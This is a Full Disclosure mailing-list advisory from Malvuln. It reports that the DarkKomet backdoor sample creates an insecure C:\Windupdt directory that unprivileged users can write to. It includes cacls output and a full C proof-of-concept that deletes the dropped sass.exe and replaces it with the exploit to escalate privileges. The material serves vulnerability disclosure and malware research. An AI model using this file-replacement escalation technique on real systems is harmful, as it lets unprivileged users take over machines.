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Date: Tue, 26 Jan 2021 20:12:26 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.DarkKomet.apbb / Insecure Permissions

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/d6c930e0ac1df934151d1890f6441fe2.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.DarkKomet.apbb
Vulnerability: Insecure Permissions
Description: DarkKomet creates an insecure dir named "Windupdt" under
c:\ drive, this allows unprivilged users to take over the infected
system, as it grants change (C) permissions to the authenticated users
group.
Type: PE32
MD5: d6c930e0ac1df934151d1890f6441fe2
Vuln ID: MVID-2021-0054
Dropped files: sass.exe
Disclosure: 01/26/2021


Exploit/PoC:
C:\>cacls "C:\Windupdt\sass.exe"
C:\Windupdt\sass.exe BUILTIN\Administrators:(ID)F
                     NT AUTHORITY\SYSTEM:(ID)F
                     BUILTIN\Users:(ID)R
                     NT AUTHORITY\Authenticated Users:(ID)C

#include "stdio.h"
#include "windows.h"
#define TARGET "C:\\Windupdt\\sass.exe"
#define TMP "C:\\Windupdt\\2.exe"
#define DISABLED_TARGET "C:\\Windupdt\\pwnkomet.tmp"

/* Backdoor.Win32.DarkKomet.apbb.d6c930e0ac1df934151d1890f6441fe2 */
/* Insecure Permissions EoP */
/* Log out of the current privileged user account, run the exploit as
standard user then log back in. */
/* By Malvuln */

BOOL PWNED=FALSE;

BOOL FileExists(LPCTSTR szPath){
  DWORD dwAttrib = GetFileAttributes(szPath);
  return (dwAttrib != INVALID_FILE_ATTRIBUTES && !(dwAttrib &
FILE_ATTRIBUTE_DIRECTORY));
}

void main(void){

  if(!FileExists(DISABLED_TARGET)){
  	WinExec("cmd.exe /c del C:\\Windupdt\\sass.exe", 0);
  	Sleep(1000);
  	CopyFile(TARGET, TMP, FALSE);
  	Sleep(1000);
    CopyFile(TMP, DISABLED_TARGET, FALSE);
    printf("[+] Backdoor.Win32.DarkKomet.apbb EoP PoC\n");
    Sleep(1000);
    printf("[+] Disabled ÚÈÏÇáÑÍãä.exe ...\n");
    Sleep(300);
   }else{
  	 PWNED=TRUE;
   }

    if(!PWNED){
     	char fname[MAX_PATH];
        char newLoc[]=TARGET;
        DWORD size = GetModuleFileNameA(NULL, fname, MAX_PATH);
       if (size){
         printf("[+] Copying exploit to vuln System dir...\n");
         Sleep(1000);
         CopyFile(fname, TARGET, FALSE);
         printf("[+] Replaced sass.exe...\n");
         printf("[+] Done!\n");
         exit(0);
        }
    }else{
    	if(FileExists(TMP)){
    		 remove(TMP);
    	}
     	printf("[+] Backdoor.Win32.DarkKomet.apbb PWNED!\n");
     	printf("[+] MD5: d6c930e0ac1df934151d1890f6441fe2\n");
     	printf("[+] By John Page (Malvuln)\n");
     	system("pause");
     }
}



Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or
otherwise. Permission is hereby granted for the redistribution of this
advisory, provided that it is not altered except by reformatting it,
and that due credit is given. Permission is explicitly given for
insertion in vulnerability databases and similar, provided that due
credit is given to the author. The author is not responsible for any
misuse of the information contained herein and accepts no
responsibility for any damage caused by the use or misuse of this
information. The author prohibits any malicious use of security
related information or exploits by the author or elsewhere. Do not
attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper
Malware handling or the downloading of ANY Malware mentioned on this
website or elsewhere. All content Copyright (c) Malvuln.com (TM).

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